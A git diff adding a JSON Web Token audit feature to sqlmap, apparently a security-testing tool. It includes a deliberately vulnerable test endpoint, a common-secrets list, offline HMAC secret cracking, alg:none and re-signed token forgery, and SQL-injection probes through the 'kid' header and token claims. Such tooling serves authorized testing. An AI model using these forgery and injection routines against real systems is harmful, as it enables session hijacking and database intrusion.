diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index 95c1a9da45c..5962545bdff 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -10,6 +10,8 @@ from __future__ import print_function import base64 +import hashlib +import hmac import json import os import random @@ -38,6 +40,30 @@ except (IOError, OSError): pass +# Self-contained JSON Web Token forge/parse for the '/jwt' endpoint, so '--jwt' has a live target in the +# vuln-test. The signing secret is a common one (crackable from the shipped wordlist), the endpoint accepts +# unsigned 'alg':'none' tokens (VULN) and reflects 'kid' into a SQL error (injectable key lookup). +JWT_SECRET = "secret" + +def _jwt_b64url(data): + return base64.urlsafe_b64encode(data).rstrip(b'=').decode() + +def _jwt_forge(header, payload, secret): + seg = lambda obj: _jwt_b64url(json.dumps(obj, separators=(',', ':')).encode(UNICODE_ENCODING)) + signingInput = "%s.%s" % (seg(header), seg(payload)) + signature = _jwt_b64url(hmac.new(secret.encode(UNICODE_ENCODING), signingInput.encode(UNICODE_ENCODING), hashlib.sha256).digest()) + return "%s.%s" % (signingInput, signature) + +def _jwt_parse(token): + try: + header, payload, signature = token.split('.') + pad = lambda value: value + '=' * (-len(value) % 4) + return json.loads(base64.urlsafe_b64decode(pad(header))), json.loads(base64.urlsafe_b64decode(pad(payload))), signature + except Exception: + return None + +JWT_TOKEN = _jwt_forge({"alg": "HS256", "typ": "JWT", "kid": "key1"}, {"user": "guest", "role": "user", "exp": 9999999999}, JWT_SECRET) + if PY3: from http.client import FORBIDDEN from http.client import INTERNAL_SERVER_ERROR @@ -1003,6 +1029,28 @@ def do_REQUEST(self): self.wfile.write(output.encode(UNICODE_ENCODING, "ignore")) return + if self.url == "/jwt": + self.send_response(OK) + self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + + parsed = _jwt_parse(self.params.get("session", "")) + output = "access denied. please sign in." + if parsed: + header, payload, _ = parsed + kid = header.get("kid") + if hasattr(kid, "count") and kid.count("'") % 2 == 1: # str/unicode (py2/py3), not an int/dict + # VULNERABLE: 'kid' feeds a key-lookup query unsanitized -> a lone quote breaks it + output = "You have an error in your SQL syntax near '%s'" % kid + elif (header.get("alg") or "").lower() == "none": + output = "welcome back, %s. secret area." % payload.get("user") # VULN: unsigned accepted + elif _jwt_forge(header, payload, JWT_SECRET) == self.params.get("session"): + output = "welcome back, %s. secret area." % payload.get("user") + + self.wfile.write(output.encode(UNICODE_ENCODING, "ignore")) + return + if self.url == "/csrf": if self.params.get("csrf_token") == _csrf_token: self.url = "/" diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 533a157c6cc..f18b9fbb040 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1276,6 +1276,41 @@ def _(page): return kb.heuristicTest +def checkJWT(): + """ + Passive, always-on heuristic: surface any JSON Web Token the request carries (cookie, header or + parameter) together with its offline weaknesses (alg:none, guessable HMAC secret, unsafe key + headers, missing expiry), hinting at '--jwt' for active confirmation and injection. + """ + + if kb.jwtChecked or conf.jwt: + return + + kb.jwtChecked = True + + from lib.utils.jwt import auditJWT + from lib.utils.jwt import findJWTs + from lib.core.settings import JWT_COMMON_SECRETS + + haystacks = list((conf.parameters or {}).values()) + haystacks += [value for _, value in (conf.httpHeaders or [])] + + seen = set() + for haystack in haystacks: + for token in findJWTs(haystack): + if token in seen: + continue + seen.add(token) + + infoMsg = "heuristic (JWT) test shows that the request carries a JSON Web Token (rerun with switch '--jwt')" + logger.info(infoMsg) + + for _, severity, summary, __ in auditJWT(token, secrets=JWT_COMMON_SECRETS): + logger.info("JWT weakness (%s): %s" % (severity, summary)) + + if conf.beep: + beep() + def checkDynParam(place, parameter, value): """ This function checks if the URL parameter is dynamic. If it is diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 3ec482316a4..a3b7c07c70e 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -16,6 +16,7 @@ from lib.controller.checks import checkConnection from lib.controller.checks import checkDynParam from lib.controller.checks import checkInternet +from lib.controller.checks import checkJWT from lib.controller.checks import checkNullConnection from lib.controller.checks import checkSqlInjection from lib.controller.checks import checkStability @@ -529,12 +530,14 @@ def start(): checkWaf() - if conf.mineParams and not any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.hql)): + checkJWT() + + if conf.mineParams and not any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.hql, conf.jwt)): from lib.utils.paraminer import mineParameters mineParameters() - if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.hql)) and (conf.reportJson or conf.resultsFile): - singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe/--hql) findings; these are reported on the console only") + if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.hql, conf.jwt)) and (conf.reportJson or conf.resultsFile): + singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe/--hql/--jwt) findings; these are reported on the console only") if conf.graphql: from lib.techniques.graphql.inject import graphqlScan @@ -571,6 +574,11 @@ def start(): hqlScan() continue + if conf.jwt: + from lib.techniques.jwt.inject import jwtScan + jwtScan() + continue + if conf.nullConnection: checkNullConnection() diff --git a/lib/core/option.py b/lib/core/option.py index aadde6d5b57..cf23e97f749 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2244,6 +2244,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.heuristicPage = False kb.heuristicTest = None kb.hintValue = "" + kb.jwtChecked = False kb.htmlFp = [] kb.huffmanModel = {} kb.respTruncated = False diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 8bf6951d2c5..0b6caf96c08 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -127,6 +127,7 @@ "ssti": "boolean", "xxe": "boolean", "hql": "boolean", + "jwt": "boolean", "oobServer": "string", "oobToken": "string", "timeSec": "integer", diff --git a/lib/core/settings.py b/lib/core/settings.py index 04f62b2c16c..289ea20bc45 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.188" +VERSION = "1.10.7.189" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -1230,6 +1230,17 @@ HQL_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in HQL_ERROR_SIGNATURES) +# Small, fast dictionary the always-on JWT heuristic tries against an HS* signature (the full +# '--jwt' audit streams the shipped wordlist instead); these are the secrets seen over and over in +# tutorials, framework defaults and CTFs +JWT_COMMON_SECRETS = ("secret", "password", "changeme", "admin", "test", "jwt", "key", "private", + "your-256-bit-secret", "your_jwt_secret", "supersecret", "secretkey", "s3cr3t", "1234567890", + "qwerty", "root", "token", "default", "example", "mysecret", "jwtsecret", "signingkey") + +# Upper bound on candidate secrets tried during the offline '--jwt' HMAC crack (keeps a huge custom +# wordlist from turning an audit into an unbounded brute-force) +JWT_MAX_CRACK_WORDS = 2000000 + # Regexes that pull the mapped entity/root name out of a Hibernate diagnostic (the # ORM equivalent of a leaked table name; HQL has no information_schema so error-based # leakage is the native way to learn the entity model). First capture group = name. diff --git a/lib/core/testing.py b/lib/core/testing.py index e6d62cfa54e..f7efb96fc6a 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -99,6 +99,7 @@ def vulnTest(tests=None, label="vuln"): ("-u \"xpath/search?q=x\" --xpath --flush-session --disable-hashing", ("is vulnerable to XPath injection", "Title: XPath boolean-based blind", "XPath: GET parameter 'q' XML tree", "extracted", "XPath scan complete")), # XPath: error-based detection + boolean oracle + blind XML tree-walking via starts-with character extraction ("-u \"ssti/search?q=x\" --ssti --flush-session --disable-hashing", ("is vulnerable to SSTI", "Title: SSTI Jinja2 injection", "back-end template engine: 'Jinja2'", "in-band arithmetic proof confirmed", "SSTI scan complete")), # SSTI: Jinja2 detection via arithmetic control-pair + boolean oracle + distinguishing probe ("-u \"hql/search?name=admin\" -p name --hql --flush-session --disable-hashing", ("is vulnerable to HQL injection", "back-end: 'Hibernate'", "entity 'Users'", "s3cr3t", "HQL scan complete")), # HQL: error-based Hibernate fingerprint + boolean oracle + error-leaked entity + blind attribute enumeration and substring value extraction + ("-u \"jwt?x=1\" --cookie=\"session=%s\" --jwt --flush-session" % vulnserver.JWT_TOKEN, ("found a JSON Web Token", "HMAC secret recovered ('secret')", "server accepts an unsigned", "vulnerable to error-based SQL injection")), # JWT: offline weak-secret crack + active oracle confirming alg:none acceptance + 'kid' error-based SQL injection ("-u --flush-session --esperanto --technique=B --banner", ("using the DBMS-agnostic 'Esperanto' engine", "Esperanto dialect verdict: SQLite", "banner: '3.")), # Esperanto: DBMS-agnostic boolean-oracle engine drives --banner end-to-end through the real sqlmap handler (fingerprinting skipped, dialect discovered from scratch, banner blind-extracted) ("-u \"xxe\" --data=\"x\" --xxe --file-read=\"%s\" --flush-session" % vulnserver.XXE_READ_FILE, ("the XML body processes DTD/internal entities", "in-band XXE file-read impact confirmed", "Type: XXE injection", "XXE scan complete")), # XXE: in-band internal-entity reflection (real libxml2/lxml parser) + external file:// entity file read ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 5bbc8c51cc9..03bddb531be 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -808,6 +808,9 @@ def cmdLineParser(argv=None): nonsql.add_argument("--hql", dest="hql", action="store_true", help="Test for HQL/JPQL (Hibernate ORM) injection") + nonsql.add_argument("--jwt", dest="jwt", action="store_true", + help="Audit JSON Web Tokens (JWT) for weaknesses") + nonsql.add_argument("--oob-server", dest="oobServer", help="Out-of-band server for blind '--xxe'") diff --git a/lib/techniques/jwt/__init__.py b/lib/techniques/jwt/__init__.py new file mode 100644 index 00000000000..bcac841631b --- /dev/null +++ b/lib/techniques/jwt/__init__.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +pass diff --git a/lib/techniques/jwt/inject.py b/lib/techniques/jwt/inject.py new file mode 100644 index 00000000000..df6bdf7041d --- /dev/null +++ b/lib/techniques/jwt/inject.py @@ -0,0 +1,361 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import time + +from lib.core.common import beep +from lib.core.common import randomStr +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import logger +from lib.core.data import paths +from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import PLACE +from lib.core.settings import JWT_COMMON_SECRETS +from lib.core.settings import JWT_MAX_CRACK_WORDS +from lib.core.settings import UPPER_RATIO_BOUND +from lib.core.wordlist import Wordlist +from lib.request.connect import Connect as Request +from lib.utils.jwt import auditJWT +from lib.utils.jwt import crackHMAC +from lib.utils.jwt import encodeSegment +from lib.utils.jwt import forgeJWT +from lib.utils.jwt import findJWTs +from lib.utils.jwt import HMAC_ALGORITHMS +from lib.utils.jwt import parseJWT +from lib.utils.nonsql import EXTRACT_MATCH_MARGIN +from lib.utils.nonsql import leansTrue +from lib.utils.nonsql import ratio +from lib.utils.nonsql import sqlErrorPresent +from thirdparty import six + +# improbable literal used to build tamper values / reject calibration; randomized per run so it never +# becomes a static signature a WAF can pin +JWT_SENTINEL = randomStr(length=12, lowercase=True) + +# severity -> sort rank (most severe first) for a tidy final report +_SEVERITY_RANK = {"critical": 0, "high": 1, "medium": 2, "info": 3} + +# internal marker for "the token rides in an arbitrary HTTP header" (no matching PLACE constant; headers +# are carried by conf.httpHeaders and rebuilt via auxHeaders) +_HEADER_PLACE = "HEADER" + +# registered temporal claims are validated as timestamps, never concatenated into SQL - skip them when +# probing for injection (saves requests and trims the false-positive surface) +_SKIP_CLAIMS = frozenset(("exp", "nbf", "iat")) + +# upper bound on the number of claims actively probed, so a hostile/huge token cannot explode the request count +_MAX_PROBE_CLAIMS = 20 + +# resolved location of the token in the outgoing request (set by _locate) +_TOKEN = None +_PLACE = None +_HEADER = None # header name when the token rides in an HTTP header +_HEADER_VALUE = None # that header's original value (to rebuild it with a forged token) + +def _locate(): + """Find the first JSON Web Token carried by the request (parameters first, then HTTP headers) and + record where it lives so probes can rebuild that one component with a forged token.""" + + global _TOKEN, _PLACE, _HEADER, _HEADER_VALUE + + for place in (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST, PLACE.COOKIE): + blob = (conf.parameters or {}).get(place) + tokens = findJWTs(blob) if blob else [] + if tokens: + _TOKEN, _PLACE, _HEADER, _HEADER_VALUE = tokens[0], place, None, None + return True + + for name, value in (conf.httpHeaders or []): + tokens = findJWTs(value) + if tokens: + _TOKEN, _PLACE, _HEADER, _HEADER_VALUE = tokens[0], _HEADER_PLACE, name, value + return True + + return False + +def _send(token): + """Issue one request with the located token replaced by 'token', returning the response body (or None + on a transport failure/block, which must never enter the oracle as an empty string).""" + + skipUrlEncode = conf.skipUrlEncode + conf.skipUrlEncode = True + + if conf.delay: + time.sleep(conf.delay) + + try: + kwargs = {"raise404": False, "silent": True} + + if _PLACE == _HEADER_PLACE: + kwargs["auxHeaders"] = {_HEADER: _HEADER_VALUE.replace(_TOKEN, token)} + payload = kwargs["auxHeaders"][_HEADER] + else: + payload = (conf.parameters[_PLACE]).replace(_TOKEN, token) + if _PLACE == PLACE.GET: + kwargs["get"] = payload + elif _PLACE in (PLACE.POST, PLACE.CUSTOM_POST): + kwargs["post"] = payload + elif _PLACE == PLACE.COOKIE: + kwargs["cookie"] = payload + + logger.log(CUSTOM_LOGGING.PAYLOAD, payload) + page = Request.getPage(**kwargs)[0] + except Exception as ex: + logger.debug("JWT probe request failed: %s" % getUnicode(ex)) + return None + finally: + conf.skipUrlEncode = skipUrlEncode + + return page + +def _wordlistSecrets(): + """Yield candidate HMAC secrets for the offline crack: the small common set first (fast wins), then + the shipped wordlist streamed lazily, bounded by JWT_MAX_CRACK_WORDS.""" + + for secret in JWT_COMMON_SECRETS: + yield secret + + count = 0 + try: + for word in Wordlist([paths.WORDLIST]): + yield getUnicode(word) + count += 1 + if count >= JWT_MAX_CRACK_WORDS: + break + except Exception as ex: + logger.debug("JWT wordlist streaming stopped: %s" % getUnicode(ex)) + +def _crackSecret(data): + """Recover an HS* signing secret from the shipped dictionary (a full forgery primitive), else None.""" + + return crackHMAC(data["raw"], _wordlistSecrets(), limit=JWT_MAX_CRACK_WORDS + len(JWT_COMMON_SECRETS)) + +def _corruptSignature(token): + """Same header and claims, deliberately wrong signature - accepted like the original means the server + does not verify the signature at all.""" + + header, payload, signature = token.split('.') + flipped = (signature[:-1] + ("A" if not signature.endswith("A") else "B")) if signature else "AAAA" + return "%s.%s.%s" % (header, payload, flipped) + +def _makeOracle(): + """Calibrate an acceptance oracle from the original (authenticated) response vs a structurally-broken + token (rejected by any consumer). Returns accepted(page)->bool, or None when the authenticated page is + too dynamic to use, or the endpoint does not distinguish a valid token from a broken one. + + A forgery is 'accepted' when its response leans to the authenticated model over the rejected one (shared + tri-state margin logic - tolerates the baseline's natural jitter, e.g. a rotating CSRF token/timestamp, + which a hard identical-page gate would misread as a rejection).""" + + baseline = _send(_TOKEN) + baseline2 = _send(_TOKEN) + reject = _send("%s.%s.%s" % (JWT_SENTINEL, JWT_SENTINEL, JWT_SENTINEL)) + + if None in (baseline, baseline2, reject): + return None + if ratio(baseline, baseline2) < UPPER_RATIO_BOUND: + return None # authenticated page too dynamic to be a reliable oracle + if ratio(baseline, reject) >= UPPER_RATIO_BOUND: + return None # endpoint can't tell a valid token from a broken one + + return lambda page: page is not None and leansTrue(page, baseline, reject) + +def _errorBased(mutate, breaker): + """A SQL error must surface with the syntax-breaking payload but NOT with the neutral control - so a page + that merely contains SQL-error text (a doc/debug banner) cannot masquerade as an injection.""" + + control = _send(mutate(JWT_SENTINEL)) + broken = _send(mutate(breaker)) + return control is not None and broken is not None and sqlErrorPresent(broken) and not sqlErrorPresent(control) + +def _booleanConfirmed(mutate, ref, good, bad): + """Confirmed boolean divergence with jitter guards: the endpoint must be stable for the neutral 'ref' (a + re-fetch matches), the syntactically-valid 'good' mutation must match that control while the query-breaking + 'bad' mutation diverges - and the divergence must reproduce on a re-send (so a one-off dynamic response is + not read as a vulnerability).""" + + base = _send(mutate(ref)) + base2 = _send(mutate(ref)) + if None in (base, base2): + return False + + # the page's natural noise floor: two identical neutral requests. If even that is below the similarity + # bound the page is too dynamic to judge; otherwise the 'bad' mutation only counts as a real divergence + # when it drops the similarity MEANINGFULLY BELOW that floor (more than mere per-request jitter) + jitter = ratio(base, base2) + if jitter < UPPER_RATIO_BOUND: + return False + threshold = jitter - EXTRACT_MATCH_MARGIN + + goodPage = _send(mutate(good)) + badPage = _send(mutate(bad)) + badPage2 = _send(mutate(bad)) + if None in (goodPage, badPage, badPage2): + return False + + return (ratio(base, goodPage) >= threshold + and ratio(base, badPage) <= threshold + and ratio(base, badPage2) <= threshold) + +def _probeStringInjection(mutate): + """SQL-injection probe for a string component (kid or a string claim) via single-quote breakage: a lone + quote breaks the query while the balanced pair restores it.""" + + s = JWT_SENTINEL + if _errorBased(mutate, "%s'%s" % (s, s)): + return ("error-based SQL injection", "critical") + if _booleanConfirmed(mutate, s, "%s''%s" % (s, s), "%s'%s" % (s, s)): + return ("boolean-based SQL injection", "high") + return None + +def _probeNumericInjection(mutate, value): + """SQL-injection probe for a numeric claim: a quote still errors a string-concatenated number, and an + 'AND n=n' / 'AND n=n+1' pair distinguishes a true from a false condition in a numeric (unquoted) context.""" + + n = 1000 + len(JWT_SENTINEL) + if _errorBased(mutate, "%s'" % value): + return ("error-based SQL injection", "critical") + if _booleanConfirmed(mutate, str(value), "%s AND %d=%d" % (value, n, n), "%s AND %d=%d" % (value, n, n + 1)): + return ("boolean-based SQL injection", "high") + return None + +def jwtScan(): + """Audit the JSON Web Token carried by the request: report offline weaknesses (alg:none, guessable + HMAC secret, unsafe key headers, missing expiry), confirm which forgeries the server actually accepts + (signature-not-verified / alg:none / expired), and probe the 'kid' header and claims for SQL injection. + Self-contained - SQL enumeration switches (--banner/--dbs/--tables/...) do not apply.""" + + if not _locate(): + logger.warning("no JSON Web Token found in the request (looked in GET/POST/cookie parameters and HTTP headers)") + return + + data = parseJWT(_TOKEN) + header = data["header"] + payload = data["payload"] + where = ("'%s' header" % _HEADER) if _PLACE == _HEADER_PLACE else ("%s parameter" % _PLACE) + logger.info("found a JSON Web Token in the %s (algorithm '%s')" % (where, header.get("alg"))) + + findings = [] # (id, severity, summary, detail, confirmed) + + # offline findings that are inherently speculative (not proven by reading the token or an active probe): + # an asymmetric alg is only a confusion CANDIDATE, and a bare 'kid' is only a candidate injection point + OFFLINE_CANDIDATES = ("alg-confusion", "kid-injection") + + # 1. offline heuristic battery (structural), then a single wordlist pass for the HMAC secret + for fid, severity, summary, detail in auditJWT(_TOKEN): + findings.append((fid, severity, summary, detail, fid not in OFFLINE_CANDIDATES)) + + secret = None + if (header.get("alg") or "").upper() in HMAC_ALGORITHMS: + logger.info("attempting to recover the HMAC signing secret from the wordlist") + secret = _crackSecret(data) + if secret is not None: + findings.append(("weak-hmac-secret", "critical", "HMAC secret recovered ('%s')" % secret, "arbitrary tokens can be forged and re-signed", True)) + + algNoneAccepted = False + + # 2. active oracle: which forgeries does the server actually accept? + oracle = _makeOracle() + if oracle is None: + logger.warning("the endpoint does not distinguish a valid token from a broken one - cannot actively confirm forgeries (offline findings still apply)") + else: + # signature not verified: same claims, wrong signature (skip when the token is already unsigned - the + # 'alg:none' finding below covers that, and signing an unsigned token proves nothing) + if (header.get("alg") or "").lower() != "none" and data["signature"] and oracle(_send(_corruptSignature(_TOKEN))): + findings.append(("signature-not-verified", "critical", "server accepts a token with an invalid signature", "any claim can be forged without a key", True)) + + # alg:none accepted: strip the signature entirely, keep the claims + try: + noneToken = forgeJWT(dict(header, alg="none"), payload) + if oracle(_send(noneToken)): + algNoneAccepted = True + findings.append(("alg-none-accepted", "critical", "server accepts an unsigned ('alg':'none') token", "any claim can be forged without a key", True)) + except ValueError: + pass + + # expired token accepted: only meaningful once we can re-sign (cracked secret or alg:none) + if isinstance(payload, dict) and "exp" in payload and (secret or algNoneAccepted): + forged = dict(payload, exp=1) # 1970 - unmistakably expired + expToken = forgeJWT(header, forged, key=secret) if secret else forgeJWT(dict(header, alg="none"), forged) + if oracle(_send(expToken)): + findings.append(("expired-accepted", "high", "server accepts an expired token", "expiry ('exp') is not enforced - stolen tokens never lapse", True)) + + # a re-signing primitive (recovered secret, else an accepted alg:none) keeps a tampered token valid so + # its mutated component actually reaches the back-end + if secret: + signer = lambda hdr, pl: forgeJWT(hdr, pl, key=secret) + elif algNoneAccepted: + signer = lambda hdr, pl: forgeJWT(dict(hdr, alg="none"), pl) + else: + signer = None + + # 3. 'kid' header injection: with a primitive, tamper 'kid' in a validly (re)signed token; without one, + # keep the original signature (this only reaches the sink when 'kid' is resolved before verification) + if "kid" in header: + kidMutate = (lambda value: signer(dict(header, kid=value), payload)) if signer else (lambda value: _reheader(_TOKEN, "kid", value)) + result = _probeStringInjection(kidMutate) + if result: + findings.append(("kid-injection-confirmed", result[1], "'kid' header is vulnerable to %s" % result[0], "the key identifier reaches a back-end query", True)) + + # 4. claim injection (needs a re-signing primitive so the tampered token is accepted and reaches the sink); + # string claims are probed with quote breakage, numeric claims in an unquoted 'AND n=n' context + if isinstance(payload, dict) and signer: + probed = 0 + for name in list(payload): + if probed >= _MAX_PROBE_CLAIMS: + break + value = payload[name] + mutate = lambda newValue, name=name: signer(header, dict(payload, **{name: newValue})) + if name in _SKIP_CLAIMS or isinstance(value, bool): # temporal claim, or bool (int subclass, never a value context) + continue + elif isinstance(value, six.string_types): + result = _probeStringInjection(mutate) + elif isinstance(value, (int, float)): + result = _probeNumericInjection(mutate, value) + else: + continue + probed += 1 + if result: + findings.append(("claim-injection-confirmed", result[1], "claim '%s' is vulnerable to %s" % (name, result[0]), "the claim value reaches a back-end query", True)) + + _report(_dedupe(findings)) + + return findings + +def _reheader(token, field, value): + """Rebuild 'token' with header field set to 'value', keeping the original claims and signature (used to + probe a header, e.g. 'kid', that the server resolves before checking the signature).""" + + _, claims, signature = token.split('.') + return "%s.%s.%s" % (encodeSegment(dict(parseJWT(token)["header"], **{field: value})), claims, signature) + +def _dedupe(findings): + """Drop the speculative 'kid-injection' candidate once the active probe has confirmed 'kid' SQL injection, + so the same header is not reported twice (once as candidate, once as confirmed).""" + + if any(_[0] == "kid-injection-confirmed" for _ in findings): + findings = [_ for _ in findings if _[0] != "kid-injection"] + return findings + +def _report(findings): + """Emit findings most-severe first, then a one-line self-contained note. Info-severity findings are logged + at INFO (a bare 'kid' / asymmetric-alg candidate is not a warning); actual weaknesses at WARNING.""" + + if not findings: + logger.info("no JWT weaknesses found") + return + + for fid, severity, summary, detail, confirmed in sorted(findings, key=lambda _: _SEVERITY_RANK.get(_[1], 9)): + marker = "confirmed" if confirmed else "candidate" + message = "JWT %s [%s]: %s (%s)" % (marker, severity, summary, detail) + (logger.info if severity == "info" else logger.warning)(message) + + if conf.beep: + beep() + + logger.info("JWT audit is self-contained; SQL enumeration switches (e.g. --banner, --dbs, --tables) do not apply here") diff --git a/lib/utils/jwt.py b/lib/utils/jwt.py new file mode 100644 index 00000000000..358e62b6cf9 --- /dev/null +++ b/lib/utils/jwt.py @@ -0,0 +1,153 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import hashlib +import hmac +import json +import re + +from lib.core.convert import decodeBase64 +from lib.core.convert import encodeBase64 +from lib.core.convert import getBytes +from lib.core.convert import getText + +# a compact JSON Web Token: base64url(header).base64url(payload).base64url(signature); a header always starts +# with '{"' which base64url-encodes to the literal prefix 'eyJ', so this matches JWTs embedded in a larger value +JWT_REGEX = r"eyJ[A-Za-z0-9_-]{4,}\.eyJ[A-Za-z0-9_-]{4,}\.[A-Za-z0-9_-]*" + +# keyed-hash algorithms sqlmap can both verify (crack) and forge offline +HMAC_ALGORITHMS = {"HS256": hashlib.sha256, "HS384": hashlib.sha384, "HS512": hashlib.sha512} + +def encodeSegment(value): + return encodeBase64(json.dumps(value, separators=(',', ':')), binary=False, safe=True) + +def parseJWT(token): + """Split and decode a JWT into its header/payload/signature parts (None if it is not a well-formed JWT). + + >>> data = parseJWT("eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.") + >>> data["header"]["alg"] == "none" and data["payload"]["user"] == "admin" + True + >>> parseJWT("not.a.jwt") is None + True + """ + + if not token or token.count('.') != 2: + return None + + header, payload, signature = token.split('.') + + try: + header = json.loads(decodeBase64(header, binary=False)) + payload = json.loads(decodeBase64(payload, binary=False)) + except Exception: + return None + + if not isinstance(header, dict) or "alg" not in header: + return None + + return {"header": header, "payload": payload, "signature": signature, "signingInput": token.rsplit('.', 1)[0], "raw": token} + +def findJWTs(value): + """Return every well-formed JWT found inside an arbitrary value (e.g. a Cookie/Authorization header).""" + + return [match.group(0) for match in re.finditer(JWT_REGEX, value or "") if parseJWT(match.group(0))] + +def forgeJWT(header, payload, key=None): + """Re-encode a (possibly tampered) header/payload, signing with 'key' for an HMAC 'alg' or leaving the + signature empty for 'alg':'none' - the primitive behind the alg:none and weak-secret exploitation paths. + + >>> forgeJWT({"alg": "none"}, {"user": "admin"}).endswith('.') + True + >>> parseJWT(forgeJWT({"alg": "HS256"}, {"user": "admin"}, key="secret"))["payload"]["user"] == "admin" + True + """ + + alg = (header.get("alg") or "none") + signingInput = "%s.%s" % (encodeSegment(header), encodeSegment(payload)) + + if alg.lower() == "none": + signature = "" + elif alg.upper() in HMAC_ALGORITHMS and key is not None: + digest = hmac.new(getBytes(key), getBytes(signingInput), HMAC_ALGORITHMS[alg.upper()]).digest() + signature = encodeBase64(digest, binary=False, safe=True) + else: + raise ValueError("unsupported algorithm '%s' for forging" % alg) + + return "%s.%s" % (signingInput, signature) + +def crackHMAC(token, secrets, limit=None): + """Try to recover the HMAC signing secret of an HS* token from an iterable of candidate secrets; returns + the secret on success (a full forgery primitive), else None. Purely offline - no requests. + + >>> token = forgeJWT({"alg": "HS256"}, {"user": "admin"}, key="s3cr3t") + >>> crackHMAC(token, ["admin", "s3cr3t", "letmein"]) + 's3cr3t' + >>> crackHMAC(token, ["admin", "letmein"]) is None + True + """ + + data = parseJWT(token) + if not data or (data["header"].get("alg") or "").upper() not in HMAC_ALGORITHMS: + return None + + fn = HMAC_ALGORITHMS[data["header"]["alg"].upper()] + signingInput = getBytes(data["signingInput"]) + target = decodeBase64(data["signature"], binary=True) + + for index, secret in enumerate(secrets): + if limit is not None and index >= limit: + break + secret = secret.strip() if hasattr(secret, "strip") else secret + if hmac.new(getBytes(secret), signingInput, fn).digest() == target: + return getText(secret) + + return None + +def auditJWT(token, secrets=None, crackLimit=None): + """Offline heuristic battery over a single JWT - the 'bad JWT setup' checks that bite in the real world and + CTFs. Returns findings as (id, severity, summary, detail); online oracle checks (does the server ACCEPT an + alg:none / bit-flipped / expired forgery) are layered on top by the caller, which owns response comparison. + + >>> sorted(_[0] for _ in auditJWT("eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.")) + ['alg-none', 'no-expiry'] + """ + + findings = [] + data = parseJWT(token) + if not data: + return findings + + header, payload = data["header"], data["payload"] + alg = (header.get("alg") or "").strip() + + # an unsigned token that the app already issued means forged claims need no key at all + if alg.lower() == "none" or data["signature"] == "": + findings.append(("alg-none", "critical", "token declares alg '%s' (unsigned)" % (alg or "none"), "claims can be forged with no key")) + + # a guessable HMAC secret is a full forgery primitive - crack it against the provided dictionary + if alg.upper() in HMAC_ALGORITHMS and secrets is not None: + secret = crackHMAC(token, secrets, crackLimit) + if secret is not None: + findings.append(("weak-hmac-secret", "critical", "HMAC secret recovered ('%s')" % secret, "arbitrary tokens can be forged and re-signed")) + + # an asymmetric token may be vulnerable to RS/HS confusion if the public key is retrievable + if alg.upper().startswith(("RS", "ES", "PS")): + findings.append(("alg-confusion", "info", "asymmetric algorithm '%s'" % alg, "test RS/HS confusion if the public key is obtainable (JWKS/TLS)")) + + # header fields that pull in attacker-controllable key material (CVE-2018-0114 class) + for field in ("jku", "x5u", "jwk", "x5c"): + if field in header: + findings.append(("header-key-injection", "high", "header carries '%s'" % field, "attacker-hosted key material may be trusted")) + + # 'kid' commonly feeds a key lookup (file/DB/command) - a natural injection point + if "kid" in header: + findings.append(("kid-injection", "info", "header carries 'kid'", "candidate injection point (SQLi/LFI/path/command via key lookup)")) + + if isinstance(payload, dict) and "exp" not in payload: + findings.append(("no-expiry", "high", "no 'exp' claim", "token does not expire")) + + return findings diff --git a/tests/test_jwt.py b/tests/test_jwt.py new file mode 100644 index 00000000000..31d0cf66859 --- /dev/null +++ b/tests/test_jwt.py @@ -0,0 +1,228 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline tests for the JWT auditor: the 